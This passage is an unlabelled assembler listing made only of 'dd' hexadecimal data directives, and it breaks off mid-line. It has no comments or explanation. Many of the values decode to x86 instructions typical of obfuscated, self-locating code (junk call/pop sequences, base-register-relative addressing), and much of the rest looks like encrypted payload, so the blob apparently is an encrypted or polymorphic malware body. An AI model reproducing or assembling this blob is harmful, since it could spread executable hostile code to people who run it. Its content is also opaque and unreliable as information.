dd 0DC36322Ch, 8A2CE531h, 62F54362h, 0DA35604Bh, 0CD40B7B8h dd 47B81F32h, 0DC303CA0h, 826E95CEh, 0CB289EB2h, 0AE359732h dd 62669826h, 0DA35604Bh, 0CD40B7B8h, 47B81F32h, 0DC3021B1h dd 826E95CEh, 6B3FC2B0h, 0DA5FFA7Ah, 0DA362061h, 82156431h dd 9EBC6AF2h, 9EB41D15h, 0DA298815h, 8A754631h, 5DA924F2h dd 0B7306A3Bh, 83629D6Eh, 51E5D33Eh, 29A8BFF1h, 0D5331141h dd 593A4486h, 0DA354635h, 59849C57h, 834F14BCh, 6453CE39h dd 0ACA29BFh, 0D5F539C9h, 0DA3590B5h, 8C35E631h, 0DA3545D9h dd 196B0331h, 0FE41186Fh, 0FE714935h, 0DA357D35h, 19637431h dd 3FD73B76h, 5A3A1885h, 0DA35463Ch, 0DA352BD8h, 0E94C8B31h dd 62ACADD1h, 0C6A8E9CBh, 0D533317Ch, 0D98DEF8Eh, 0B0358C31h dd 0D9DD1731h, 0FA352331h, 536C5268h, 5B31EC7Dh, 0CF314075h dd 9B353231h, 473DA60h, 4353657h, 0DA5FA5CEh, 0DA36CB64h dd 87159131h, 0B6BC95F2h, 9EB46015h, 0DA223615h, 8F701931h dd 0BE359EF2h, 36D5FC11h, 47B84D3Ch, 0DC3DE1CAh, 0DA35C0D8h dd 8DEFF31h, 2E80968Bh, 0A0B0946Eh, 26338468h, 5B5396CEh dd 0D14ECDDBh, 0ABB19EF1h, 5B35C831h, 9D870BC7h, 0C6A8BF4Eh dd 0BC331A7Ch, 0DB8D5FBAh, 0B0354631h, 0D9DD7431h, 0FA359131h dd 536A0B6Eh, 5B31404Dh, 0C1311675h, 9D351931h, 0B7DF4F66h dd 8490C28Fh, 0CEDCEA98h, 87359131h, 4D38D84Ah, 409B93Eh dd 0C4A57F41h, 87485406h, 25182BF0h, 88352CD2h, 0DA3520D9h dd 196FB131h, 0FE61416Bh, 0FE71E535h, 0DA352535h, 19675B31h dd 2FE636CAh, 0AB35DBBCh, 0DA5F2539h, 0DA367967h, 8415C831h dd 0AEBC3AF2h, 9EB43615h, 0DA221D15h, 8C738C31h, 0D39682F2h dd 4EDFA277h, 573CDE17h, 0D26CB2B4h, 3CB40437h, 0E0E2ED0Ah dd 0D28BFBB0h, 25549F0Eh, 0D5F54DE1h, 0DA35B5B5h, 8F35FB31h dd 0DA35CBD9h, 19684431h, 0FE59BB6Ch, 0FE719835h, 0DA359735h dd 19600331h, 704148B2h, 96F2BEDCh, 0DA35DCD8h, 0D680731h dd 8774C035h, 43282D0Ch, 3655C171h, 7DD99E3Eh, 0C6A8AE5Fh dd 0B033927Ch, 0D9DD9D31h, 0FA356431h, 5368F16Ch, 5B313D5Dh dd 0CC31A875h, 9F354631h, 4A0CE064h, 0DA36299Bh, 0DA5FC831h dd 0DA368C64h, 87153231h, 0B6BC44F2h, 9EB48815h, 0DA2D4215h dd 8F702331h, 0DAF3E3F2h, 2BB45EB9h, 803BE9D4h, 5E3AD1CEh dd 0DA351932h, 99F64EB1h, 577FAFB1h, 0D245CA8Ch, 0D9B81C37h dd 6233C044h, 507E384Ch, 0F244B702h, 151E1F32h, 0CA47B8F0h dd 0D8DC3DE1h, 31DA35C0h, 8B08DEFFh, 6E2E8096h, 68A0B094h dd 83263384h, 0A4F305E9h, 0F88BC08Bh, 0BE66C38Bh, 0C08B8D34h dd 0DE5ABF66h, 1039BD83h, 75000603h, 1DBD8309h, 60311h dd 53501974h, 7AB8C08Bh, 89000004h, 3239185h, 0F89D8D06h dd 0FF0605B0h, 83585BD3h, 3111DBDh, 17740006h, 7AB85350h dd 89000004h, 3239185h, 999D8D06h, 0FF0605ADh, 81585BD3h dd 729CC7E9h, 56006A35h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1904h, 0C3564600h, 0AC67E284h, 0C08B8D3Dh, 766D8D8Dh dd 6A0608h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 0EE6416C3h, 0BD8B2912h, 6030A79h, 31D18D89h dd 6A0603h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 83A65BC3h, 0F65802E6h, 29284B13h, 3015195h dd 0E185C706h, 0E0060301h, 8B000067h, 30C5DB5h, 0BD85C706h dd 60321h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 0DC88C355h, 0ADB5FFD9h, 6A060321h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 8B31C350h, 9195FFF1h, 66060326h, 6AD98Bh dd 1FB995FFh, 0C08B0603h, 0AF0A6BEBh, 0F0194F0Bh, 0FE326960h dd 0ACB5CCDAh, 2FE754ABh, 9C552BB1h, 78059C8Dh, 0CC93BB7Fh dd 0DCE35A9Ch, 0AE1A962Ah, 2811611h, 0FA091F99h, 75BEEC01h dd 0D93880EDh, 51B6BF6Eh, 26094397h, 0E740B3A3h, 3633870Bh dd 6AC8539Eh, 89CC0E81h, 5D6B2A6Bh, 0F248A4AFh, 0B50A61DDh dd 303F767Ah, 0AEC827DDh, 92BD1157h, 0FE972645h, 0DE865h dd 1B410000h, 0F32EED43h, 9D3BF05Ah, 8BB9B657h, 331E185h dd 8E85906h, 0A8000000h, 34C277AEh, 0F5CCB08h, 815AD1B7h dd 58E7C1h, 870F5600h, 2, 685FC18Bh, 0 dd 8850Fh, 0F600000h, 0F380D7BFh, 665E612Fh, 1C8BC18Bh dd 7E931h, 9D170000h, 45F5FF1Bh, 2AEB818Fh, 0F674665h dd 385h, 0CCE08000h, 1B6CF381h, 0BA664B88h, 0C381313Fh dd 4F85B24Fh, 1AF1B589h, 1C890603h, 0FBB70F31h, 0F9BF0F56h dd 64EE815Fh, 667FAA53h, 0F454C081h, 5360C681h, 99BA7FAAh dd 817F41FBh, 0FFA7C8FEh, 9F850FFFh, 31FFFFFFh, 32A699Dh dd 0CE806h, 9B490000h, 0FD68B939h, 7C2F3CDCh, 0BF66FC1Bh dd 815A25EBh, 6CCCC2h, 0EF816600h, 0C9335D78h, 0FFF0B70Fh dd 8D891134h, 6031F39h, 0CE858h, 0FEB40000h, 0E80600E4h dd 62301E73h, 0CB81134Ch, 422C415h, 1AC0815Eh, 0E9616F0Fh dd 7, 0B7C94821h, 81954DDFh, 0A8F3B4E8h, 9BD294Ch, 81060314h dd 0CF4693F0h, 899D0950h, 89060302h, 13E90A04h, 5000000h dd 4D44CF62h, 477B9A1Ch, 5E314BDAh, 0DF125C9Dh, 0E981373Eh dd 355EAB6Ah, 9E9h, 0EDF91D00h, 0FA95B9BCh, 0C1813605h dd 355EAB66h, 0B1DFF781h, 0F98131AEh, 0FFFF93E8h, 0FF6D850Fh dd 0BF66FFFFh, 8D8D8E28h, 6087937h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 70C35242h, 4E77DA2Bh, 0BB66F801h dd 0C281F2F6h, 676CB1A8h, 31D18D89h, 6A0603h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 160424h, 55450000h, 966262C3h dd 81C78166h, 0E185C704h, 34060301h, 6A000073h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 0E936C357h, 13h, 129E67B4h, 4B08B4F9h, 0ADD0410Fh, 592D1695h dd 0C7ACC91Fh, 321BD85h, 6, 0C6816600h, 0B5FFE8FDh, 6031CF1h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 92C35141h dd 5C930BC3h, 97EB8048h, 269195FFh, 9D0B0603h, 60322F1h dd 95FF006Ah, 6031FB9h, 0DEBC08Bh, 1D503ADCh, 3D21215Dh dd 21B80650h, 7E8F6h, 4B560000h, 0EDE4E18Dh, 0F88B66B9h dd 81F88B5Ah, 695AC2h, 0FE800h, 0F4670000h, 402B2601h dd 0FAF6E1AFh, 0C1CAA718h, 0BB59FC96h, 1A34h, 5E9h, 78D1AF00h dd 328B8B6Bh, 12DBD03h, 0C6810603h, 4EF524FAh, 1AC5BD8Bh dd 0EE810603h, 4D6DA84Fh, 2409B589h, 0F6810603h, 16CA589Eh dd 5E9h, 69B8FE00h, 328989BAh, 6604EA83h, 0EB81C68Bh, 1 dd 0FFBC850Fh, 9E8FFFFh, 9C000000h, 0B41BB482h, 79635B32h dd 5FF8B70Fh, 7AC08D8Dh, 6A0608h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 0DC1194C3h, 0E641CDF0h dd 9E9F6A0h, 0C3000000h, 0FE7ECC95h, 0D0BEA18Eh, 10E9h dd 7FC3A600h, 198EA6DCh, 0EEAA57A1h, 374B50F8h, 0D18D8970h dd 6A060331h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 53B5C350h, 6E9h, 0F725B100h, 5B3B9050h dd 1E185C7h, 73CC0603h, 81600000h, 0BF9C36DAh, 85C76111h dd 60321BDh, 0 dd 21ADB5FFh, 0BE90603h, 2F000000h, 303E6E56h, 31FDE7C2h dd 95FF6ED8h, 6032691h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 0BCC35242h, 40CF3EA7h, 8BE8C2E3h, 30A319Dh dd 0FF006A06h, 31FB995h, 0EBC08B06h, 0CE7C546Bh, 0EA88A4EFh dd 0C087C210h, 0B0CDF93Dh, 6CDCCDEDh, 0DA817EF9h, 240BD605h dd 5A0C74B5h, 61E7C6F3h, 1B7B1EECh, 0CA63D6EDh, 0E01F3AB5h dd 29921951h, 0F4D90E84h, 0C45685C3h, 0F9BF1714h, 0BE9F015Fh dd 904C4C6h, 0BA0FFE61h, 0A24D1AFFh, 685F3AFh, 0FFBC4DBh dd 0A11C2271h, 9818057Ch, 71C22267h, 5567911Fh, 0F28C3A70h dd 7BE68D8Dh, 8E90608h, 4000000h, 0A9B7C31Eh, 89E35500h dd 331D18Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 0C381B604h, 2A2AE559h, 85C7E5B4h dd 60301E1h, 64B0h, 1FEE8166h, 0BD85C760h, 60321h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 0C5E7C350h, 0ABF1D4EBh, 0FF5E51DBh, 310CDB5h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 71850119h, 0FF060320h, 3269195h, 0D850906h dd 6A060328h, 0B995FF00h, 8B06031Fh, 0FA0EEBC0h, 97F0A6B6h dd 0ACA6DA18h, 0E3C36A72h, 2DEBD7h, 0D0000000h, 9CBFAE0Dh dd 0F9DFF231h, 88A7A5ADh, 0FB75528Ch, 9CBE00B7h, 7EE5ADF9h dd 9D8993h, 67268168h, 3B2BD14h, 704DE3B7h, 0B2BE9h, 7D3B6800h dd 2EE90608h, 68FFFB01h, 6087E42h, 0FB0124E9h, 7F6A68FFh dd 1AE90608h, 68FFFB01h, 6088000h, 0FB0110E9h, 80CC68FFh dd 6E90608h, 68FFFB01h, 6088196h, 0FB00FCE9h, 827B68FFh dd 0F2E90608h, 68FFFB00h, 608847Ch, 0FB00E8E9h, 857A68FFh dd 0DEE90608h, 0ADFFFB00h, 0D6BB29CEh, 4528BC45h, 0F75A0EB3h dd 67CA9E1Fh, 897B6992h, 7277184Eh, 0C6E78B1Eh, 545D3F82h dd 25CAAD30h, 0B0981EA7h, 71067517h, 0F010D365h, 0FF4B6785h dd 7506DC4Eh, 0EB64C4C2h, 51710674h, 0E2833F8Ah, 13E6EA0Bh dd 780A87Ch, 75710675h, 36711BE6h, 3515AD4Bh, 6EFE5A25h dd 61324C1Bh, 0FB9F9F44h, 0A2F792FAh, 5EDA9593h, 5AA4D20h dd 501BF247h, 0F1615D00h, 7D6FFA63h, 0B8593F4Ah, 24F45933h dd 11A93483h, 148D9D57h, 68770E14h, 192707FDh, 0E0751111h dd 9565F43Fh, 0A476F4E5h, 8D184D1Fh, 284B1E37h, 0E0D3ECC2h dd 3A12CF9Fh, 11000009h, 9A6F7D82h, 99CF0F9h, 0BB0E4267h dd 2BBED2D3h, 452FBD46h, 862BCC9Ah, 1A9B7FC2h, 0E811E376h dd 797E11E4h, 0FC4C4A6Bh, 71067363h, 2A5417D9h, 472AA243h dd 2E590FB0h, 582D4563h, 0FDBB31BAh, 1200772Dh, 26A63575h dd 0BE0811Eh, 4D918F71h, 6A3E516Bh, 360E93h, 1A90000h dd 6567886Ch, 503B8460h, 82341452h, 9F7511FFh, 20B9C7FCh dd 0E98D81FEh, 846A79C4h, 35A0817Fh, 770E8B53h, 261A710Bh dd 0D7DEE6F2h, 0CA999369h, 1A000000h, 2AA2432Ah, 5F09B247h dd 0DC9A1BF2h, 0E6426709h, 53543B86h, 18A17617h, 0E60BED70h dd 21C99D1Bh, 770EEE2Fh, 0BB29CEA1h, 0B1463FD6h, 329922F0h dd 28A00F5Ah, 0B8F6F49Fh, 11FF0690h, 0B9593475h, 7C11A934h dd 0CB9F159Eh, 97D3D1BCh, 98D85B3h, 93B7F36Fh, 77084CFAh dd 5CE9346h, 30426675h, 0DE09E65h, 0BC01476Ch, 4D9FD6DBh dd 12E6D617h, 833E77Ah, 89680000h, 9D6064h, 6E0095FBh dd 0DAB20745h, 4D22B7D5h, 934220A4h, 0DB8932C7h, 4F1DA276h dd 0FD9318FAh, 6C608568h, 5CF55555h, 0A0710672h, 452A5310h dd 0B24528BCh, 0F0D14ADEh, 0B82F770Eh, 1CF0952Dh, 99648D63h dd 68E149CFh, 0D4770EF0h, 0AA3EBA01h, 8C6C0129h, 12F90293h dd 405E2996h, 0FF700226h, 7BEE7511h, 0DF4CC911h, 1ED8710Bh dd 98CCA74Fh, 99481922h, 91F49463h, 0E5F3271Bh, 9369BDDFh dd 0AA4F21C4h, 5312A722h, 0C2EBB0A3h, 0E2F0EA46h, 3000000h dd 6AE34701h, 0D6770EF0h, 7AEBAC9h, 937E1135h, 0F7911AFCh dd 9C731692h, 0DC7711Bh, 0E04A43Dh, 0F74D1877h, 690CFD92h dd 29EFF944h, 0F1329076h, 0F24E216Dh, 0E11C8DAh, 42630A77h dd 0D3D4BB0Eh, 866EFFB9h, 64F3F899h, 3C8B6164h, 5D175351h dd 0F8659BBAh, 78F48AADh, 117CC650h, 0C9E17475h, 39535424h dd 0F3BCD0ACh, 0FC4C6A88h, 6F08F9DFh, 1DF08E5Dh, 0AA3B777Ch dd 0A492EAC9h, 669B4D1Fh, 0E4491D9Bh, 93D7EE13h, 50E6D64Ah dd 70BA5B8h, 0B1400000h, 28F5580Ch, 9678CD83h, 2EA7F6Dh dd 751AEFFDh, 6BAA184Ch, 33515A3Fh, 0A725CAAEh, 0D5BB40D2h dd 4408AD40h, 34AD7D3Dh, 88710671h, 452A7BF8h, 8B6302BCh dd 8967626Ah, 787D10E5h, 0F2CAAF3Eh, 0EF0BD56h, 0C9540377h dd 1A6ECA9Fh, 0A2432A59h, 0FB0472Ah, 0F114B159h, 8BF6770Eh dd 0DEB0556Dh, 9215FD5h, 7506DC7Eh, 0B2536FFAh, 23B6DADBh dd 8621AB4Ch, 0BC5FDFBh, 7A12937Ah, 17E20397h, 820BB199h dd 0E2696F09h, 0DBB38DC3h, 0A7BA52E6h, 675h, 22A6472Ah dd 5735BE5Fh, 0C1872CC2h, 7117987Ch, 0E2E60BECh, 0F081D500h dd 603085CBh, 0D6A4095Fh, 432ABF2Dh, 13972EA2h, 6709E37h dd 9152E271h, 64896C01h, 0ED12E588h, 596230D5h, 4F268BE3h dd 997D10AEh, 53F09814h, 12E5BDE1h, 3034FFEDh, 73996D52h dd 0E4F891B9h, 9144770Eh, 0C011Bh, 5AB20000h, 172h, 2A7491Ch dd 0F26F2DA6h, 29770EF0h, 0F042DB6Fh, 0D3BE770Eh, 572DB841h dd 631F9DE8h, 6DC4FC7h, 8C2AB175h, 0E64216F9h, 7106746Dh dd 2BB904D3h, 5E0EAF46h, 426735D8h, 56E15F0Ah, 3BF58D2Bh dd 67476EFh, 0A11FCA71h, 81BD43E7h, 7F3B6F09h, 38132ABh dd 4CDB8E77h, 0DBB30135h, 2F22CAE6h, 5A9h, 0FE9213E6h dd 63618A6Bh, 9DF3F89Eh, 0D436408h, 0BED2D7B8h, 0BC5D0934h dd 2CCC5137h, 0A270C58Bh, 0FE64B19h, 0DFDBFAEEh, 670D24Bh dd 0DD9E2E71h, 0B85A432Ah, 590C5933h, 0BA732B7h, 75531448h dd 0AD0B12A0h, 189D70DDh, 3D61D370h, 7F6D9265h, 6C68B0B4h dd 7AF99h, 5AC80000h, 0AEh, 6785F0D9h, 0D2D3BA4Bh, 7F301856h dd 0FD7506DCh, 0DABD506Eh, 22AA4F2Dh, 21B4D8A7h, 883FA94Eh dd 22C3FFFDh, 0A421AB50h, 0AABA8EC8h, 646EFE59h, 41D4B9F1h dd 0B24528BCh, 0E9D14ADEh, 0B82F770Eh, 43FDBB2Dh, 0EE96EE7h dd 0A907D277h, 3D75731Eh, 0EA0BE283h, 2109E7E2h, 7511E713h dd 0A19BDA81h, 3EE0D3D8h, 4DFB3AEh, 0DDBC0000h, 5421B4D8h dd 0C25439AFh, 2EC6AB39h, 0A176DB89h, 3FFE7418h, 6F7D866Bh dd 93F1F69Ah, 1476C0Eh, 0B0D4D9BCh, 881A9E1h, 74710670h dd 5C5A27C4h, 1C000001h, 4507AC49h, 12F091CAh, 6EF5B6D2h dd 5E011192h, 6F67B33Ah, 4FF87480h, 2008A644h, 7506618Fh dd 7F205E0Dh, 5C8F0F6Eh, 4C4217EAh, 18AE2558h, 43FDBB31h dd 58DAC790h, 8F9B00E1h, 7105F616h, 9410FF6Ah, 0CB991EF1h dd 506E8F66h, 2206DABDh, 7105F5A9h, 93F54017h, 55127AF6h dd 6832462Ah, 1865B3BFh, 4555F58Dh, 0FB6EFE7Fh, 0C798526Ch dd 77F63DF7h, 8FE25EACh, 3C81C7E8h, 82345459h, 0A13A0EC8h dd 1F770E99h, 99C74048h, 0A635770Eh, 71F21011h, 279D773Ah dd 0B3CFED98h, 11206997h, 6100D775h, 0E0D311C1h dd 0FAE77A12h, 51000003h, 0DAAF3DC2h, 49DCB039h, 0FB4E02A7h dd 6BFE9213h, 856F7D86h, 466B0C5Ah, 0DADBBF02h, 0A85123B6h dd 39BE5124h, 0BC8C0AABh, 71066E23h, 2A14D799h, 472AA243h dd 0A0730FB0h, 0EDE2CE81h, 1870CCCAh, 0D45898Bh, 0EC07456Ah dd 996D10D8h, 52533ACBh, 55C4D6h, 0F0770000h, 0FF4B6785h dd 7511AB4Eh, 0A15B17C2h, 0BA41089h, 0A84D2071h, 4806E269h dd 9019FF8Eh, 7217EDF8h, 0C771179Ch, 4C09FB14h, 0B520E847h dd 749B3C1Eh, 0B19917E5h, 710BD913h, 27A54A2Dh, 7B37BC52h dd 0D8F069C1h, 614C710Bh, 219F6A8Fh, 34F9449h, 2A2F0000h dd 4429A348h, 8324F4B1h, 0C3852ECCh, 0EB553B86h, 0F74D721Ah dd 129FB92h, 770EF088h, 0F29A61F4h, 6167886Fh, 5BD3B46h dd 12006F25h, 0BE2D75h, 0E069E246h, 0D3D7710Bh, 0BE0DE77h dd 28B72271h, 77143C4Ch, 0B5710BE0h, 15DD22F5h, 0A7FA1CD6h dd 0EBA63F0Bh, 4F1A710Bh, 9F99CDF1h, 936A4985h, 4BC4641Eh dd 0B1710BE3h, 364C4E2Ah, 0EF000000h, 4B6785F0h, 0B7D1D6BAh dd 5E1856D2h, 6ECAEB8Fh, 11FFAC5Eh, 0D5B72275h, 0BDF900Dh dd 7CA09C71h, 6A416064h, 1141F93h, 885D0000h, 0E98FC2E7h dd 67DD88C0h, 5A432AECh, 325731B6h, 235BC66Dh, 0BC0B74A0h dd 0F3B0412Ch, 658A6D1Eh, 0C9BCE9Eh, 0F790B872h, 45770E29h dd 0EF721A96h, 33E5E708h, 2938D179h, 0D184770Eh, 5E5F365Bh dd 26F0E20Ah, 9649770Eh, 0D3CEA47Dh, 0E861C979h, 54770EBDh dd 2BBE3A81h, 582DA344h, 977630B5h, 6606E203h, 0B3403641h dd 4D07A30Eh, 0B5D7D8B8h, 467454D0h, 0B47511DBh, 29B439D9h dd 63810CBBh, 24BD8D47h, 98710BE0h, 113977CDh, 6F0990FCh dd 0C5EA8E5Fh, 0E783566Fh, 3ED7732Dh, 82770850h, 0DADFB0D7h dd 5D660B5Eh, 2CD5BA0Fh, 0D67C8795h, 0A9A444E6h, 1F9h dd 0AE22C356h, 0D3B13ADBh, 4D03A84Eh, 0FD9314F8h, 6E628768h dd 6C0D5984h, 0DCBC0147h, 5220B5DBh, 0BF563BA9h, 8F0BAA3Eh dd 66C22BBh, 0DEE9E71h, 0DB6F452Ah, 770EF042h, 0F0D871D9h dd 0B124770Eh, 687CCB9Eh, 9FCDF285h, 0C1AC4C21h, 1E18A989h dd 0EEFE455Fh, 0FE0394FBh, 85F08102h, 4DFF4B67h, 0A47511FFh dd 328E33C1h, 23DCBC13h, 0A623A54Eh, 49D4B1DBh, 0DF5AF71Fh dd 6AD6710Bh, 412A3226h, 0B025936Ah, 56000000h, 4A2432Ah dd 93698E61h, 788116FBh, 0EDD6C810h, 7518770Eh, 3817E688h dd 0ACBF898Ch, 896E7DC8h, 967D6860h, 67886FF2h, 3ED2B365h dd 974C3B9h, 4D7BCFEBh, 0CB751166h, 3FCE481Ch, 2BD0AD5Eh dd 0F5924A1h, 2651DE5Ah, 0B219A270h, 0BA993AF4h, 331AE784h dd 0ADC3EB41h, 4C6F095Dh, 5BD1D6B9h, 32D3EF7Ah, 0AD30545Dh dd 968C27CCh, 4BE6D65Fh, 0FBAEA3h, 0C1500000h, 38C5A83Ch dd 0A648DDB3h, 12FA4F1Dh, 856AFFEDh, 5B9A687Ch, 3416A0Fh dd 0B7D5DABEh, 25AB5022h, 5438BD50h, 24BD8D0Dh, 9871066Bh dd 452A0BE8h, 0B24528BCh, 2A245F0Dh, 0DB25A43h, 0D44DDD5Bh dd 28770EF0h, 2F4BD6BDh, 0F03CD575h, 0D580770Eh, 0CBA20F5Fh dd 72EB3FF9h, 0CE770EF0h, 0F098311Bh, 71E4770Eh, 3612CCEAh dd 770EF09Dh, 0F02BA484h, 0CA91770Eh, 0CCA01CCBh, 0D9E2B352h dd 0BA9D463h, 0DC22DB6Fh, 0CB9E7506h, 54593C81h, 25CAAD30h dd 58C89BA3h, 14281F43h, 15E78EC0h, 0E1EA370h, 6C1D895h dd 8C697CEBh, 95606567h, 6A8B62F7h, 1DB6924Ch, 6306C1D9h dd 8D1078F4h, 3984C4E9h, 54395358h, 8E33C1C2h, 0BF6A923h dd 6482988Bh, 25695529h, 87661095h, 0A6ACCDF6h, 1EE6CF56h dd 5F83B70Dh, 194F7007h, 8CDCE1B4h, 851h, 6C01EC00h, 0CC886489h dd 0A6472AD7h, 33B45B26h, 9D26F459h, 6D9266CBh, 0F801967Bh dd 476C0D90h, 0D3D4B805h, 0B942D4B9h, 8B1422Fh, 89520B40h dd 4C281E2h, 83000000h, 148704EAh, 14895C24h, 0E6895624h dd 4C681h, 0EE830000h, 24348704h, 242C895Ch, 81E68956h dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 3BBD243Ch, 454FFA62h dd 81DDF745h, 0A06349EDh, 0BA524D7Ah, 2179545Ch, 2A78C281h dd 0CA815C90h, 5A78137Bh, 0C20DEA81h, 0D5294F1Ch, 3C8B545Ah dd 4C48324h, 3B9768h, 242C8900h, 40242C81h, 8F05C371h dd 47810847h, 0C3714008h, 243C8B05h, 81E28952h, 4C2h, 4C28100h dd 87000000h, 8B5C2414h, 8951242Ch, 4C181E1h, 81000000h dd 4C1h, 240C8700h, 0F613E95Ch, 0F4C0FFFAh, 0FD4B66F8h dd 8869AB8h, 0FFC50306h, 3E14B9E0h, 68915530h, 764A5212h dd 0CFE90677h, 0B21AA0Ah, 0C00F748h, 0F9D16F74h, 4600267Eh dd 81D23963h, 57DA9E7Bh, 0C9DF8C62h, 6AC08B00h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 88B4C355h, 0BD83E01Ah, 6031039h, 83097500h, 3111DBDh dd 19740006h, 0C08B5350h, 3FCB8h, 75858900h, 8D060317h dd 5B0919Dh, 5BD3FF06h, 1DBD8358h, 60311h, 53501774h, 3FCB8h dd 75858900h, 8D060317h, 5AD809Dh, 5BD3FF06h, 51006A58h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 0E38166BDh, 6ABEB7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 7F9EAAC3h, 92BBA041h, 5E95283h dd 0D000000h, 7EF37237h, 0DE8B665Bh, 6660C08Bh, 0F8E9BB9h dd 58Dh, 0F6816600h, 8361950Dh, 31E91BDh, 840F0106h, 69h dd 50AEE0BBh, 85BD8318h, 6031Ch, 57850Fh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 5526E3C3h, 9532F6A9h, 2CDDBD83h, 0F000603h, 0A784h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 0A46C9931h, 0F0AE877h, 0BF0FD9BFh, 428E9D8h dd 5E80000h, 44000000h, 43B89FCh, 14E9h, 6DBF800h, 0C2433AC1h dd 6549B908h, 503811F8h, 0A13CCE0Bh, 5A1Ch, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 98615BC3h, 0C4BBF2A6h, 0EB810D5Bh, 5D956F79h, 39DBB66h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 64C35242h dd 0AD1E8600h, 0F7FB0CC3h, 4C836AE8h, 0C511D9BAh, 0C5783708h dd 9C5BDFACh, 89F28695h, 81FADB0Fh, 0C56CDBB1h, 943ADFCAh dd 62964DA6h, 0C0F0D0BBh, 0A37BDF59h, 0DAC42D2Dh, 8EAF5ADBh dd 0CF93D92Dh, 0D97BDF95h, 268446E8h, 0B34BED56h, 0C57E3647h dd 10D6DF59h, 9F8D0813h, 0C5110FA9h, 0C5783779h, 9F5BDF95h dd 91F28509h, 81FADB41h, 0C566DB96h, 9739DF59h, 5DC9E26Fh dd 1A438977h, 2C1D652Fh, 0C57BDF99h, 0BC9DE7DDh, 67BDAB92h dd 1586CB08h, 0C57BD4B0h, 16FA76ACh, 0DADD005Ch, 7A7B2C97h dd 0C57F4C7Ch, 36FAB9CAh, 35F17545h, 0C57B37E7h, 4426DF59h dd 0CDF22141h, 16C4D050h, 69193DAAh, 5F0F4A7h, 2D28DFA0h dd 0C57BDF66h, 9EB88492h, 0C15F83D0h, 0C15F9B2Dh, 0C57BDF4Dh dd 0A1B88C68h, 2D125970h, 2CCF4956h, 0C57BDF6Bh, 50C0F6C1h dd 1A39194Dh, 337F4442h, 16F13F31h, 4C3A6C7Bh, 7274FB91h dd 897AD015h, 36FA2141h, 84277F76h, 937BB501h, 0C57BDC44h dd 625FF56h, 0E10F5675h, 0E13F5E91h, 0C57BC3CEh dd 62D9965h, 364C4BD0h, 0EE8A8B74h, 12F0B9B9h, 0C579D353h dd 0E5B5642Bh, 0CDF0B447h, 4E3665ACh, 39335403h, 2D2CDFD8h dd 0C57BDF5Ah, 9AB8808Ch, 0C15FA3DFh, 0C15F9BAAh, 0C57BDF80h dd 4CB8888Dh, 0C57A6777h, 0C511DFB2h, 0C578370Ah, 9E5BDFACh dd 99F28495h, 81FADB0Fh, 0C567DBB1h, 9638DFCAh, 0CF133FA6h dd 0B41BB774h, 0D192B3F4h, 657BDFACh, 2271B4FFh, 5B75DC1Eh dd 1A844EEh, 866DCC79h, 95BBDDDBh, 0C57BCB5Ah, 402A759h dd 59AA1407h, 0F22E17Fh, 0AB965CE8h, 0BA10439Eh, 972B8F3Eh dd 9D21EE6Ah, 0C9F285E9h, 937BB57Dh, 0C57BDC44h, 625FF56h dd 0E10F5675h, 0E13F5E91h, 0C57BCBCEh, 62D9965h, 16C4D0AEh dd 0AFA2533Fh, 0C6938CACh, 0E57BDF56h, 4C201C70h, 447FFBC9h dd 0D37FFB8Eh, 867BDF65h, 842E1CE1h, 0C5713687h, 8634DFACh dd 0D30A4457h, 0CFE0FB0Ah, 0C57F589Ah, 7E1DDFCAh, 441DFE4Ch dd 334E2741h, 4074DB98h, 0C57BDF43h, 2D2ADF3Ch, 0C57BDF28h dd 9CB886B5h, 0C15F9343h, 0C15F9BE4h, 0C57BDFAFh, 70B88E18h dd 4C1B8F8Bh, 55C3AF1h, 562064B6h, 441DAFAAh, 9C4E1D18h dd 0CA13E6E5h, 0C57AFA37h, 0C57C3759h, 960FDFACh, 16D0D6A8h dd 8BC1B93Fh, 0BCF0849Fh, 0C1FED0CBh, 957BDF65h, 442085E1h dd 0C57BDFA6h, 3EF9D02Ch, 0AF7BDF56h, 0C693882Bh, 0E57BDF95h dd 4C241C95h, 447FFB19h, 0D07FFBF6h, 827BDF59h, 0E2DA1CFBh dd 4D855A91h, 0C57AD923h, 0C511DF95h, 0C5783799h, 9E5BDF65h dd 99F28471h, 81FADB7Dh, 0C56EDB88h, 9638DF56h, 0CABEDAE8h dd 0D792052Ah, 0A47BDFCAh, 8807F69Fh, 84819656h, 0DCFC5E4Ch dd 3CC55794h, 0C5C336DEh, 0C511DF2Bh, 0C57837C6h, 9E5BDFCAh dd 99F284A6h, 81FADB96h, 0C562DB7Dh, 9638DFACh, 79092995h dd 2CF9197Fh, 0C57BDFE7h, 9CF12D4Ah, 0C57E556Ah, 441DDFB2h dd 0A39288BAh, 